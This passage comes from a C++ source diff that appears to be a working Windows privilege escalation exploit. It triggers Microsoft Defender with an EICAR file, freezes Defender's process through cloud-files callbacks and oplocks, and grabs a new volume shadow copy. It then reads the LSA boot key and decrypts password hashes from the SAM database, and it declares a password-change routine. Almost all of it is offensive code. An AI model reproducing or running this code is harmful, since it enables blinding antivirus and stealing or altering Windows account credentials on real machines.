(LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames)); + if (!LLVSSfirst) + { + printf("Failed to allocate memory.\n"); + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + *criticalerr = true; + DestroyVSSNamesList(LLVSSfirst); + free(objdirinfo); + return NULL; + } + ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames)); + LLVSScurrent = LLVSSfirst; + LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t)); + if (!LLVSScurrent->name) + { + printf("Failed to allocate memory !!!\n"); + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + *criticalerr = true; + DestroyVSSNamesList(LLVSSfirst); + free(objdirinfo); + return NULL; + } + ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t)); + memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); + + } + + } + } + } + + + + + } + free(objdirinfo); + return LLVSSfirst; +} + +DWORD WINAPI ShadowCopyFinderThread(void* fullvsspath) +{ + + wchar_t devicepath[] = L"\\Device"; + UNICODE_STRING udevpath = { 0 }; + RtlInitUnicodeString(&udevpath, devicepath); + OBJECT_ATTRIBUTES objattr = { 0 }; + InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + NTSTATUS stat = STATUS_SUCCESS; + HANDLE hobjdir = NULL; + DWORD retval = ERROR_SUCCESS; + wchar_t newvsspath[MAX_PATH] = { 0 }; + wcscpy(newvsspath, L"\\Device\\"); + bool criterr = false; + int vscnum = 0; + bool restartscan = false; + ULONG scanctx = 0; + ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2); + ULONG retsz = 0; + OBJECT_DIRECTORY_INFORMATION* objdirinfo = NULL; + bool srchfound = false; + wchar_t vsswinpath[MAX_PATH] = { 0 }; + UNICODE_STRING _vsswinpath = { 0 }; + + OBJECT_ATTRIBUTES objattr2 = { 0 }; + IO_STATUS_BLOCK iostat = { 0 }; + HANDLE hlk = NULL; + LLShadowVolumeNames* vsinitial = NULL; + + stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr); + if (stat) + { + printf("Failed to open object manager directory, error : 0x%0.8X", stat); + retval = RtlNtStatusToDosError(stat); + return retval; + } + void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION)); + if (!emptybuff) + { + printf("Failed to allocate memory !!!"); + retval = ERROR_NOT_ENOUGH_MEMORY; + goto cleanup; + } + ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)); + + + vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum,&retval); + + if (criterr) + { + printf("Unexpected error while listing current volume shadow copy volumes\n"); + goto cleanup; + } + if (!vsinitial) + { + printf("No volume shadow copies were found.\n"); + } + else + { + printf("Found %d volume shadow copies\n", vscnum); + } + + + + stat = STATUS_SUCCESS; + +scanagain: + do + { + if (objdirinfo) + free(objdirinfo); + objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + retval = ERROR_NOT_ENOUGH_MEMORY; + goto cleanup; + } + ZeroMemory(objdirinfo, reqsz); + + scanctx = 0; + stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz); + if (stat == STATUS_SUCCESS) + break; + else if (stat != STATUS_MORE_ENTRIES) + { + printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat); + retval = RtlNtStatusToDosError(stat); + goto cleanup; + } + reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100; + } while (1); + + + + for (ULONG i = 0; i < ULONG_MAX; i++) + { + if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) + { + break; + } + if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) + { + wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; + if (objdirinfo[i].Name.Length >= sizeof(cmpstr)) + { + if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0) + { + // check against the list if there this is a unique VS Copy + LLShadowVolumeNames* current = vsinitial; + bool found = false; + while (current) + { + if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0) + { + found = true; + break; + } + current = current->next; + } + if (found) + continue; + else + { + srchfound = true; + wcscat(newvsspath, objdirinfo[i].Name.Buffer); + break; + } + } + } + } + } + + if (!srchfound) { + restartscan = true; + goto scanagain; + } + if (objdirinfo) { + free(objdirinfo); + objdirinfo = NULL; + } + NtClose(hobjdir); + hobjdir = NULL; + + + + printf("New volume shadow copy detected : %ws\n", newvsspath); + + + wcscpy(vsswinpath, newvsspath); + wcscat(vsswinpath, L"\\Windows"); + RtlInitUnicodeString(&_vsswinpath, vsswinpath); + InitializeObjectAttributes(&objattr2, &_vsswinpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + +retry: + stat = NtCreateFile(&hlk, FILE_READ_ATTRIBUTES, &objattr2, &iostat, NULL, NULL, NULL, FILE_OPEN, NULL, NULL, NULL); + if (stat == STATUS_NO_SUCH_DEVICE) + goto retry; + if (stat) + { + printf("Failed to open volume shadow copy, error : 0x%0.8X\n", stat); + retval = RtlNtStatusToDosError(stat); + goto cleanup; + + + } + printf("Successfully accessed volume shadow copy.\n"); + CloseHandle(hlk); + if (fullvsspath) + wcscpy((wchar_t*)fullvsspath, newvsspath); + + +cleanup: + if (hobjdir) + NtClose(hobjdir); + if (emptybuff) + free(emptybuff); + if (vsinitial) + DestroyVSSNamesList(vsinitial); + + return retval; +} + +DWORD GetWDPID() +{ + static DWORD retval = 0; + if (retval) + return retval; + + SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); + if (!scmgr) + return 0; + SC_HANDLE hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS); + CloseServiceHandle(scmgr); + if (!hsvc) + return 0; + + + SERVICE_STATUS_PROCESS ssp = { 0 }; + DWORD reqsz = sizeof(ssp); + bool res = QueryServiceStatusEx(hsvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, reqsz, &reqsz); + CloseServiceHandle(hsvc); + if (!res) + return 0; + retval = ssp.dwProcessId; + return retval; + +} + +void CfCallbackFetchPlaceHolders( + _In_ CONST CF_CALLBACK_INFO* CallbackInfo, + _In_ CONST CF_CALLBACK_PARAMETERS* CallbackParameters +) { + + printf("CfCallbackFetchPlaceHolders triggered !\n"); + + CF_PROCESS_INFO* cpi = CallbackInfo->ProcessInfo; + wchar_t* procname = PathFindFileName(cpi->ImagePath); + printf("Directory query from %ws\n", procname); + if (GetWDPID() == cpi->ProcessId) + { + cldcallbackctx* ctx = (cldcallbackctx*)CallbackInfo->CallbackContext; + SetEvent(ctx->hnotifywdaccess);; + + printf("Defender flagged.\n"); + CF_OPERATION_INFO cfopinfo = { 0 }; + cfopinfo.StructSize = sizeof(CF_OPERATION_INFO); + cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS; + cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey; + cfopinfo.TransferKey = CallbackInfo->TransferKey; + cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector; + cfopinfo.RequestKey = CallbackInfo->RequestKey; + //STATUS_CLOUD_FILE_REQUEST_TIMEOUT + SYSTEMTIME systime = { 0 }; + FILETIME filetime = { 0 }; + GetSystemTime(&systime); + SystemTimeToFileTime(&systime, &filetime); + + FILE_BASIC_INFO filebasicinfo = { 0 }; + filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL; + CF_FS_METADATA fsmetadata = { filebasicinfo, {0x1000} }; + CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 }; + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wchar_t* wuid2 = (wchar_t*)wuid; + placeholder[0].RelativeFileName = ctx->filename; + + placeholder[0].FsMetadata = fsmetadata; + + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wuid2 = (wchar_t*)wuid; + placeholder[0].FileIdentity = wuid2; + placeholder[0].FileIdentityLength = lstrlenW(wuid2) * sizeof(wchar_t); + placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE; + + + CF_OPERATION_PARAMETERS cfopparams = { 0 }; + cfopparams.ParamSize = sizeof(cfopparams); + cfopparams.TransferPlaceholders.PlaceholderCount = 1; + cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 1; + cfopparams.TransferPlaceholders.EntriesProcessed = 0; + cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE; + cfopparams.TransferPlaceholders.PlaceholderArray = placeholder; + + WaitForSingleObject(ctx->hnotifylockcreated, INFINITE); + HRESULT hs = CfExecute(&cfopinfo, &cfopparams); + printf("CfExecute returned : 0x%0.8X\n", hs); + return; + } + CF_OPERATION_INFO cfopinfo = { 0 }; + cfopinfo.StructSize = sizeof(CF_OPERATION_INFO); + cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS; + cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey; + cfopinfo.TransferKey = CallbackInfo->TransferKey; + cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector; + cfopinfo.RequestKey = CallbackInfo->RequestKey; + CF_OPERATION_PARAMETERS cfopparams = { 0 }; + cfopparams.ParamSize = sizeof(cfopparams); + cfopparams.TransferPlaceholders.PlaceholderCount = 0; + cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 0; + cfopparams.TransferPlaceholders.EntriesProcessed = 0; + cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE; + cfopparams.TransferPlaceholders.PlaceholderArray = { 0 }; + HRESULT hs = CfExecute(&cfopinfo, &cfopparams); + printf("CfExecute : 0x%0.8X\n", hs); + + return; + + +} + +DWORD WINAPI FreezeVSS(void* arg) +{ + cloudworkerthreadargs* args = (cloudworkerthreadargs*)arg; + if (!args) + return ERROR_BAD_ARGUMENTS; + + HANDLE hlock = NULL; + HRESULT hs; + CF_SYNC_REGISTRATION cfreg = { 0 }; + cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION); + cfreg.ProviderName = L"IHATEMICROSOFT"; + cfreg.ProviderVersion = L"1.0"; + CF_SYNC_POLICIES syncpolicy = { 0 }; + syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES); + syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED; + syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL; + syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED; + syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT; + syncpolicy.InSync = CF_INSYNC_POLICY_NONE; + CF_CALLBACK_REGISTRATION callbackreg[2]; + callbackreg[0] = { CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS, CfCallbackFetchPlaceHolders }; + callbackreg[1] = { CF_CALLBACK_TYPE_NONE, NULL }; + CF_CONNECTION_KEY cfkey = { 0 }; + OVERLAPPED ovd = { 0 }; + DWORD nwf = 0; + //wchar_t syncroot[] = L"C:\\temp"; + wchar_t syncroot[MAX_PATH] = { 0 }; + GetModuleFileName(GetModuleHandle(NULL), syncroot, MAX_PATH); + *(PathFindFileName(syncroot) - 1) = L'\0'; + DWORD retval = STATUS_SUCCESS; + wchar_t lockfile[MAX_PATH]; + wcscpy(lockfile, syncroot); + wcscat(lockfile, L"\\"); + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wchar_t* wuid2 = (wchar_t*)wuid; + wcscat(lockfile, wuid2); + wcscat(lockfile, L".lock"); + cldcallbackctx callbackctx = { 0 }; + bool syncrootregistered = false; + callbackctx.hnotifywdaccess = CreateEvent(NULL, FALSE, FALSE, NULL); + callbackctx.hnotifylockcreated = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!callbackctx.hnotifylockcreated || !callbackctx.hnotifywdaccess) + { + printf("Failed to create event, error : %d", GetLastError()); + retval = GetLastError(); + goto cleanup; + } + wcscpy(callbackctx.filename, wuid2); + wcscat(callbackctx.filename, L".lock"); + hlock = CreateFile(lockfile, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE, NULL); + if (!hlock || hlock == INVALID_HANDLE_VALUE) + { + printf("Failed to create lock file %ws error : %d", lockfile, GetLastError()); + retval = GetLastError(); + goto cleanup; + } + + + //CreateDirectory(syncroot, NULL); + hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_NONE); + if (hs) + { + printf("Failed to register syncroot, hr = 0x%0.8X\n", hs); + retval = ERROR_UNIDENTIFIED_ERROR; + goto cleanup; + } + syncrootregistered = true; + hs = CfConnectSyncRoot(syncroot, callbackreg, &callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey); + if (hs) + { + printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs); + retval = ERROR_UNIDENTIFIED_ERROR; + goto cleanup; + } + if (args->hlock) { + CloseHandle(args->hlock); + args->hlock = NULL; + } + + printf("Waiting for callback...\n"); + + WaitForSingleObject(callbackctx.hnotifywdaccess, INFINITE); + + ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!ovd.hEvent) + { + printf("Failed to create event, error : %d\n", GetLastError()); + retval = GetLastError(); + goto cleanup; + } + DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); + + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + retval = GetLastError(); + goto cleanup; + } + SetEvent(callbackctx.hnotifylockcreated); + + printf("Waiting for oplock to trigger...\n"); + + GetOverlappedResult(hlock, &ovd, &nwf, TRUE); + + printf("WD is frozen and the new VSS can be used.\n"); + + SetEvent(args->hvssready); + + WaitForSingleObject(args->hcleanupevent, INFINITE); + + + +cleanup: + + if (hlock) + CloseHandle(hlock); + if (callbackctx.hnotifylockcreated) + CloseHandle(callbackctx.hnotifylockcreated); + if (callbackctx.hnotifywdaccess) + CloseHandle(callbackctx.hnotifywdaccess); + if (ovd.hEvent) + CloseHandle(ovd.hEvent); + + if (syncrootregistered) + { + CfDisconnectSyncRoot(cfkey); + CfUnregisterSyncRoot(syncroot); + } + + + return retval; + +} + + +bool TriggerWDForVS(HANDLE hreleaseevent,wchar_t* fullvsspath) +{ + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wchar_t* wuid2 = (wchar_t*)wuid; + + wchar_t workdir[MAX_PATH] = { 0 }; + ExpandEnvironmentStrings(L"%TEMP%\\", workdir, MAX_PATH); + wcscat(workdir, wuid2); + wchar_t eicarfilepath[MAX_PATH] = { 0 }; + wcscpy(eicarfilepath,workdir); + wcscat(eicarfilepath,L"\\foo.exe"); + + HANDLE hlock = NULL; + wchar_t rstmgr[MAX_PATH] = { 0 }; + ExpandEnvironmentStrings(L"%windir%\\System32\\RstrtMgr.dll", rstmgr, MAX_PATH); + OVERLAPPED ovd = { 0 }; + char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X"; + rev(eicar); + DWORD nwf = 0; + cloudworkerthreadargs cldthreadargs = { 0 }; + DWORD tid = 0; + HANDLE hthread = NULL; + bool dircreated = false; + bool retval = true; + HANDLE hfile = NULL; + HANDLE trigger = NULL; + HANDLE hthread2 = NULL; + HANDLE hobj[2] = { 0 }; + DWORD exitcode = STATUS_SUCCESS; + DWORD waitres = 0; + hthread = CreateThread(NULL, NULL, ShadowCopyFinderThread, (void*)fullvsspath, NULL, &tid); + if (!hthread) + { + printf("Failed to create worker thread, error : %d", GetLastError()); + retval = false; + goto cleanup; + } + + dircreated = CreateDirectory(workdir, NULL); + if (!dircreated) + { + printf("Failed to create working directory, error : %d\n",GetLastError()); + retval = false; + goto cleanup; + } + + hfile = CreateFile(eicarfilepath, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL); + if (!hfile || hfile == INVALID_HANDLE_VALUE) + { + printf("Failed to create eicar test file, error : %d\n", GetLastError()); + retval = false; + goto cleanup; + } + + + + if (!WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL)) + { + printf("Failed to write eicar test file, error : %d\n", GetLastError()); + retval = false; + goto cleanup; + } + + + hlock = CreateFile(rstmgr, GENERIC_READ | SYNCHRONIZE, NULL, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); + if (!hlock || hlock == INVALID_HANDLE_VALUE) + { + printf("Failed to open restart manager dll for exclusive access, error : %d\nTry again later.\n", GetLastError()); + retval = false; + goto cleanup; + } + + + ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!ovd.hEvent) + { + printf("Failed to create event object with error : %d !!!!\n", GetLastError()); + retval = false; + goto cleanup; + } + + SetLastError(ERROR_SUCCESS); + DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); + + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + retval = false; + goto cleanup; + } + + // trigger wd for action + trigger = CreateFile(eicarfilepath, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (trigger && trigger != INVALID_HANDLE_VALUE) + CloseHandle(trigger); + + printf("Waiting for oplock to trigger...\n"); + GetOverlappedResult(hlock, &ovd, &nwf, TRUE); + printf("Oplock triggered.\n"); + + if (!GetExitCodeThread(hthread, &exitcode)) + { + printf("Unexpected error while getting worker thread exit code"); + retval = false; + goto cleanup; + } + if (exitcode) + { + printf("Failed to get new volume shadow copy path"); + retval = false; + goto cleanup; + + } + + + cldthreadargs.hcleanupevent = hreleaseevent; + cldthreadargs.hlock = hlock; + cldthreadargs.hvssready = CreateEvent(NULL, FALSE, FALSE, NULL); + + hthread2 = CreateThread(NULL, NULL, FreezeVSS, &cldthreadargs, NULL, &tid); + if (!hthread2) { + printf("Unable to create worker thread, error : %d", GetLastError()); + retval = false; + goto cleanup; + } + + + + hobj[0] = hthread2; + hobj[1] = cldthreadargs.hvssready; + waitres = WaitForMultipleObjects(2, hobj, FALSE, INFINITE); + + if (waitres - WAIT_OBJECT_0 == 0) + { + printf("Unable to freeze WD, thread exited prematurely.\n"); + retval = false; + } + +cleanup: + + + if (hthread) + CloseHandle(hthread); + if(hthread2) + CloseHandle(hthread2); + if(cldthreadargs.hvssready) + CloseHandle(cldthreadargs.hvssready); + if (ovd.hEvent) + CloseHandle(ovd.hEvent); + if (hfile) + CloseHandle(hfile); + if (dircreated) + RemoveDirectory(workdir); + + return retval; + + + +} +////////////////////////////////////////////////////////////////////// +// Volume shadow copy functions end +///////////////////////////////////////////////////////////////////// + +////////////////////////////////////////////////////////////////////// +// SAM handling start +///////////////////////////////////////////////////////////////////// + + +#define SAM_DATABASE_DATA_ACCESS_OFFSET 0xcc +#define SAM_DATABASE_USERNAME_OFFSET 0x0c +#define SAM_DATABASE_USERNAME_LENGTH_OFFSET 0x10 +#define SAM_DATABASE_LM_HASH_OFFSET 0x9c +#define SAM_DATABASE_LM_HASH_LENGTH_OFFSET 0xa0 +#define SAM_DATABASE_NT_HASH_OFFSET 0xa8 +#define SAM_DATABASE_NT_HASH_LENGTH_OFFSET 0xac + +struct PwdEnc +{ + char* buff; + size_t sz; + wchar_t* username; + ULONG usernamesz; + char* LMHash; + ULONG LMHashLenght; + char* NTHash; + ULONG NTHashLenght; + ULONG rid; + +}; + + +NTSTATUS WINAPI SamConnect(IN PUNICODE_STRING ServerName, OUT HANDLE* ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted); +NTSTATUS WINAPI SamCloseHandle(IN HANDLE SamHandle); +NTSTATUS WINAPI SamOpenDomain(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE* DomainHandle); +NTSTATUS WINAPI SamOpenUser(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE* UserHandle); +NTSTATUS WINAPI SamiChangePasswordUser(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE* oldLM, IN const BYTE* newLM, IN BOOL isNewNTLM, IN const BYTE* oldNTLM, IN const BYTE* newNTLM); + + + +void hex_string_to_bytes(const char* hex_string, unsigned char* byte_array, size_t max_len) { + size_t len = strlen(hex_string); + if (len % 2 != 0) { + fprintf(stderr, "Error: Hex string length must be even.\n"); + return; + } + + size_t byte_len = len / 2; + if (byte_len > max_len) { + fprintf(stderr, "Error: Output buffer too small.\n"); + return; + } + + for (size_t i = 0; i < byte_len; i++) { + // Read two hex characters and convert them to an unsigned int + unsigned int byte_val; + if (sscanf(&hex_string[i * 2], "%2x", &byte_val) != 1) { + fprintf(stderr, "Error: Invalid hex character in string.\n"); + return; + } + byte_array[i] = (unsigned char)byte_val; + } +} + +bool GetLSASecretKey(unsigned char bootkeybytes[16]) +{ + + const wchar_t* keynames[] = { {L"JD"}, {L"Skew1"}, {L"GBG"}, {L"Data"} }; + int indices[] = { 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 }; + + + //ORHKEY hlsa = NULL; + HKEY hlsa = NULL; + DWORD err = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", NULL, KEY_READ, &hlsa); + char data[0x1000] = { 0 }; + DWORD index = 0; + for (const wchar_t* keyname : keynames) + { + DWORD retsz = sizeof(data) / sizeof(char); + HKEY hbootkey = NULL; + err = RegOpenKeyEx(hlsa, keyname, NULL, KEY_QUERY_VALUE, &hbootkey); + + err = RegQueryInfoKeyA(hbootkey, &data[index], &retsz, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + index += retsz; + RegCloseKey(hbootkey); + } + //printf("%s\n", data); + RegCloseKey(hlsa); + + if (strlen(data) < 16) + { + printf("Boot key mismatch."); + return 1; + } + + // convert hex string to binary + unsigned char keybytes[16] = { 0 }; + hex_string_to_bytes(data, keybytes, 16); + + + + for (int i = 0; i < sizeof(keybytes); i++) + { + + bootkeybytes[i] = keybytes[indices[i]]; + } + return true; + +} + +void* UnprotectAES(char* lsaKey, char* iv, char* hashdata, unsigned long enclen, int* decryptedlen) +{ + + char* decrypted = (char*)malloc(enclen); + memmove(decrypted, hashdata, enclen); + HCRYPTPROV hprov = NULL; + + CryptAcquireContext(&hprov, 0, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT); + + struct aes128keyBlob + { + BLOBHEADER hdr; + DWORD keySize; + BYTE bytes[16]; + } blob; + + blob.hdr.bType = PLAINTEXTKEYBLOB; + blob.hdr.bVersion = CUR_BLOB_VERSION; + blob.hdr.reserved = 0; + blob.hdr.aiKeyAlg = CALG_AES_128; + blob.keySize = 16; + memmove(blob.bytes, lsaKey, 16); + HCRYPTKEY hcryptkey = NULL; + CryptImportKey(hprov, (const BYTE*)&blob, sizeof(aes128keyBlob), NULL, NULL, &hcryptkey); + + DWORD mode = CRYPT_MODE_CBC; + CryptSetKeyParam(hcryptkey, KP_IV, (const BYTE*)iv, NULL); + + CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); + + DWORD retsz = enclen; + + CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz); + + + /* + EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new(); + + int fulllen = 0; + int retval = EVP_DecryptInit(en, EVP_aes_128_cbc(), (const unsigned char*)lsaKey, (const unsigned char*)iv); + if (!retval) + return NULL; + + //int decryptedsz = enclen; + retval = EVP_DecryptUpdate(en, (unsigned char*)decrypted, (int*)&enclen, (const unsigned char*)hashdata, enclen); + if (!retval) + return NULL; + retval = EVP_DecryptFinal_ex(en, (unsigned char*)decrypted + enclen, &fulllen); + EVP_CIPHER_CTX_free(en); + if (!retval) + return NULL; + */ + if (decryptedlen) + *decryptedlen = retsz; + + return decrypted; + +} + +#ifndef SHA256_DIGEST_LENGTH +#define SHA256_DIGEST_LENGTH 32 +#endif + +bool ComputeSHA256(char* data, int size, char hashout[SHA256_DIGEST_LENGTH]) +{ + + + char* data2 = (char*)malloc(SHA256_DIGEST_LENGTH); + ZeroMemory(data2, SHA256_DIGEST_LENGTH); + HCRYPTPROV hprov = NULL; + CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT); + HCRYPTHASH Hhash = NULL; + CryptCreateHash(hprov, CALG_SHA_256, NULL, NULL, &Hhash); + CryptHashData(Hhash, (const BYTE*)data, size, NULL); + DWORD md_len = 0; + DWORD inputsz = sizeof(md_len); + CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL); + //inputsz = size; + CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)hashout, &md_len, NULL); + + CryptDestroyHash(Hhash); + CryptReleaseContext(hprov, NULL); + /* + EVP_MD_CTX* en = EVP_MD_CTX_new(); + + bool retval = EVP_DigestInit(en, EVP_sha256()); + if (!retval) + return retval; + retval = EVP_DigestUpdate(en, data, size); + if (!retval) + return retval; + EVP_DigestFinal(en, (unsigned char*)hashout, NULL); + */ + //return retval; + return true; + + + +} + +void* UnprotectPasswordEncryptionKeyAES(char* data, char* lsaKey, int* keysz) +{ + + int hashlen = data[0]; + int enclen = data[4]; + + char iv[16] = { 0 }; + memmove(iv, &data[8], sizeof(iv)); + + char* cyphertext = (char*)malloc(enclen); + memmove(cyphertext, &data[0x18], enclen); + + // first arg, lsaKey | second arg, iv | thid arg, ciphertext + int outsz = 0; + int pekoutsz = 0; + char* pek = (char*)UnprotectAES(lsaKey, iv, cyphertext, enclen, &pekoutsz); + + char* hashdata = (char*)malloc(hashlen); + memmove(hashdata, &data[0x18 + enclen], hashlen); + + char* hash = (char*)UnprotectAES(lsaKey, iv, hashdata, hashlen, &outsz); + + + char hash256[SHA256_DIGEST_LENGTH]; + + if (!ComputeSHA256(pek, pekoutsz, hash256)) + { + return NULL; + } + + if (memcmp(hash256, hash, sizeof(hash256)) != 0) + { + printf("Invalid AES password key.\n"); + return NULL; + } + if (keysz) + *keysz = sizeof(hash256); + + + return pek; + +} + +void* UnprotectPasswordEncryptionKey(char* samKey, unsigned char* lsaKey, int* keysz) +{ + + int enctype = samKey[0x68]; + if (enctype == 2) { + int endofs = samKey[0x6c] + 0x68; + int len = endofs - 0x70; + + char* data = (char*)malloc(len); + memmove(data, &samKey[0x70], len); + void* retval = UnprotectPasswordEncryptionKeyAES(data, (char*)lsaKey, keysz); + + return retval; + } + __debugbreak(); + return NULL; + +} + +void* UnprotectPasswordHashAES(char* key, int keysz, char* data, int datasz, int* outsz) +{ + int length = data[4]; + if (!length) + return NULL; + char iv[16] = { 0 }; + memmove(iv, &data[8], sizeof(iv)); + + int ciphertextsz = datasz - 24; + char* ciphertext = (char*)malloc(ciphertextsz); + memmove(ciphertext, &data[8 + sizeof(iv)], ciphertextsz); + return UnprotectAES(key, iv, ciphertext, ciphertextsz, outsz); +} + +void* UnprotectPasswordHash(char* key, int keysz, char* data, int datasz, ULONG rid, int* outsz) +{ + int enctype = data[2]; + + switch (enctype) + { + case 2: + + return UnprotectPasswordHashAES(key, keysz, data, datasz, outsz); + + break; + default: + __debugbreak(); + break; + } + + return NULL; + + +} + +void* UnprotectDES(char* key, int keysz, char* ciphertext, int ciphertextsz, int* outsz) +{ + + char* ciphertext2 = (char*)malloc(ciphertextsz); + memmove(ciphertext2, ciphertext, ciphertextsz); + HCRYPTPROV hprov = NULL; + CryptAcquireContext(&hprov, 0, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); + + struct deskeyBlob + { + BLOBHEADER hdr; + DWORD keySize; + BYTE bytes[8]; + }blob; + //deskeyBlob* blob = (deskeyBlob*)malloc(sizeof(deskeyBlob) + keysz); + blob.hdr.bType = PLAINTEXTKEYBLOB; + blob.hdr.bVersion = CUR_BLOB_VERSION; + blob.hdr.reserved = 0; + blob.hdr.aiKeyAlg = CALG_DES; + blob.keySize = 8; + memmove(blob.bytes, key, 8); + HCRYPTKEY hcryptkey = NULL; + CryptImportKey(hprov, (const BYTE*)&blob, sizeof(deskeyBlob), NULL, NULL, &hcryptkey); + + DWORD mode = CRYPT_MODE_ECB; + CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); + + DWORD retsz = ciphertextsz; + + CryptDecrypt(hcryptkey, NULL, TRUE, 